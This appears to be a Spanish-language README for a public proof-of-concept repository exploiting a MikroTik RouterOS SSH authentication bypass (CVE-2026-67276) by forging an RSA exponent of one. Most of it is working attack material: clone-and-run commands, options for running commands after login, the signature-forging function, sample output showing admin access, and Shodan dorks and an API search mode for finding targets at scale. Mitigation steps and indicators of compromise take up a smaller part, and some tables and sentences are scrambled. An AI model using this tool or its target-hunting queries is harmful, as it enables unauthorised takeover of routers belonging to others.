
CVE-2026-67276 Exploit de omisión de autenticación SSH en MikroTik RouterOS
Omisión de Autenticación de Clave Pública SSH en MikroTik RouterOS - No se Requiere Clave Privada
Una prueba de concepto para CVE-2026-67276 (MikroTrick), una vulnerabilidad crítica de omisión de autenticación en la implementación SSH de MikroTik RouterOS que permite a los atacantes autenticarse como cualquier usuario sin poseer su clave privada.
CVE-2026-67276 es parte de una cadena de ataque más amplia denominada "MikroTrick" por CERT PL, que se observó siendo explotada activamente en el mundo real:
La autenticación SSH de RouterOS tiene una falla crítica en cómo valida las claves públicas:
{ssh-rsa, e=1, n=módulo_víctima} hace que la verificación sea trivialVerificación RSA Estándar: sig^65537 mod n == esperado (requiere clave privada)
Verificación Explotada: sig^1 mod n == sig (¡NO se necesita clave privada!)
Con exponente e=1, la verificación de firma se convierte en:
sig^1 mod n == sig
Esto significa que la "firma" es simplemente el mensaje codificado EMSA-PKCS1-v1_5 en sí mismo - construible por cualquiera que conozca el módulo público de la víctima.
n de esa clave autorizada (del archivo .pub, conexiones anteriores, etc.)| Rama | Rango Vulnerable | Versión Parcheada |
|---|---|---|
| 6.x | 6.0 - 6.49.20 | 6.49.21+ |
# Clonar el repositorio
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026
# Instalar dependencias
pip install paramiko cryptography
# Exploit básico - genera clave automáticamente, detecta versión
python3 full_exploit.py --host 192.168.88.1 --username admin
# Ejecutar comando después de la autenticación
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'
# Puerto personalizado
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin
# Si tienes el archivo de clave pública de la víctima
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub
# O proporciona el módulo directamente
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."
El exploit detecta automáticamente la versión de RouterOS y verifica el estado de vulnerabilidad:
# Forzar exploit incluso en versiones no MikroTik o desconocidas
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check
--host IP/nombre de host RouterOS objetivo (requerido)
--port Puerto SSH (predeterminado: 22)
--username Nombre de usuario RouterOS objetivo (requerido)
--pubkey Archivo de clave pública RSA (se genera automáticamente si no se proporciona)
--modulus-hex Módulo RSA en hexadecimal (alternativa a --pubkey)
--algos Algoritmos de firma (predeterminado: ssh-rsa,rsa-sha2-256)
--exec Comando a ejecutar después de la autenticación
--exp-enc Codificación del exponente: canónica (1 byte) o alineada (3 bytes)
--timeout Tiempo de espera de conexión (predeterminado: 15.0 segundos)
--skip-version-check Omitir verificación de versión de RouterOS
--shodan-dorks Imprimir consultas de búsqueda de Shodan
--shodan-search Buscar objetivos en la API de Shodan
--shodan-key Clave API de Shodan
--shodan-query Consulta personalizada de Shodan
--shodan-limit Límite de resultados de Shodan (predeterminado: 100)
python3 full_exploit.py --shodan-dorks
# Búsqueda básica
python3 full_exploit.py --shodan-search --shodan-key TU_CLAVE_API
# Consulta personalizada
python3 full_exploit.py --shodan-search --shodan-key TU_CLAVE --shodan-query 'MikroTik port:22 country:US'
string "ssh-rsa"
mpint e (exponente público) <- El atacante suministra e=1
mpint n (módulo) <- Módulo real de la víctima
# La "firma" es simplemente los datos de autenticación codificados EMSA-PKCS1-v1_5
def forged_signature(data, sig_alg, n):
k = (n.bit_length() + 7) // 8
block = emsa_pkcs1_v15(data, sig_alg, k)
return block # Esta ES la firma válida cuando e=1
ssh-rsa incluso para algoritmos rsa-sha2-256/512[*] Exploit CVE-2026-67276 MikroTrick
[*] Objetivo: 192.168.88.1:22
[*] Detectando versión de RouterOS...
[*] Banner SSH: SSH-2.0-ROSSSH-7.23.3
[*] Versión de RouterOS: 7.23.3
[+] VERSIÓN VULNERABLE - CVE-2026-67276 aplica
[*] Generando par de claves RSA de 2048 bits...
[+] Clave privada guardada: /path/to/exploit_key
[+] Clave pública guardada: /path/to/exploit_key.pub
[*] Módulo: 2048 bits | e=1 falsificado
[*] Codificación del exponente: canónica (01)
[*] Probando rsa-sha2-256 ...
[+] AUTENTICADO como 'admin' mediante rsa-sha2-256
[+] CVE-2026-67276 CONFIRMADO - el objetivo es vulnerable
--- salida del comando ---
uptime: 14d23h45m12s
version: 7.23.3 (stable)
build-time: Sep/01/2026 12:00:00
# Verificar versión actual
/system resource print
# Actualizar a la versión parcheada
/system package update download
/system reboot
Versiones Mínimas Seguras:
/ip service disable ssh
# Por dirección IP
/ip service set ssh address=192.168.88.0/24
# Regla de firewall
/ip firewall filter add chain=input dst-port=22 protocol=tcp \
src-address=!192.168.88.0/24 action=drop
# Verificar usuarios sospechosos
/user print
# Verificar usuario "ops" (indicador conocido de atacante)
/user print where name=ops
# Verificar estado de marcado del dispositivo
/system/device-mode/print
# Verificar registros
/log print where topics~"ssh"
IOCs Conocidos:
login failure for user -2 via sshops82.192.72.4, 103.102.31.18⚠️ Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos.
Licencia MIT - Consulta LICENSE para más detalles.
PoC de Investigación de Seguridad - Implementación de Laboratorio CVE-2026-67276
¡Dale una estrella a este repositorio si te resulta útil!
| Detalle | Información |
|---|
| ID CVE | CVE-2026-67276 |
| Severidad | Crítica (CVSS 9.8) |
| CWE | CWE-347 (Verificación Incorrecta de Firma Criptográfica) |
| Vector de Ataque | Red |
| Autenticación | Ninguna |
| Complejidad | Baja |
| Impacto | Compromiso total del dispositivo |
| CVE | Tipo | Descripción |
|---|
| CVE-2026-67276 | Omisión de Autenticación | Omisión de autenticación de clave pública SSH mediante falsificación de exponente |
| CVE-2026-86060 | Escalada de Privilegios | Inyección de argumentos mediante nombre de usuario |
| CVE-2026-67279 | Omisión de Autenticación | Conexión SSH sin userauth completado |
| CVE-2026-67277 | Divulgación de Información | Fuga de memoria del kernel mediante bandwidth-test |
| CVE-2026-67278 | Omisión de Firma | Aceptación de firma X.509 malformada |
| CVE-2026-67281 | Lectura de Archivos | Lectura de archivos raíz en WebFig mediante jsproxy |
| 7.0 - 7.23.3 |
| 7.23.4+ |
| 7.x testing | 7.24.0 - 7.24.1 | 7.24.2+ |
| Objetivo | Consulta |
|---|
| Todos los MikroTik | MikroTik |
| MikroTik SSH | MikroTik port:22 |
| Winbox Expuesto | port:8291 |
| Panel WebFig | http.title:RouterOS |
| RouterOS 6.49.x | MikroTik "6.49" |
| RouterOS 7.x | MikroTik "RouterOS v7" |
| Por País | MikroTik country:US |
| Pista de Vulnerabilidad | MikroTik ("6.49" OR "7.23" OR "7.24.0") |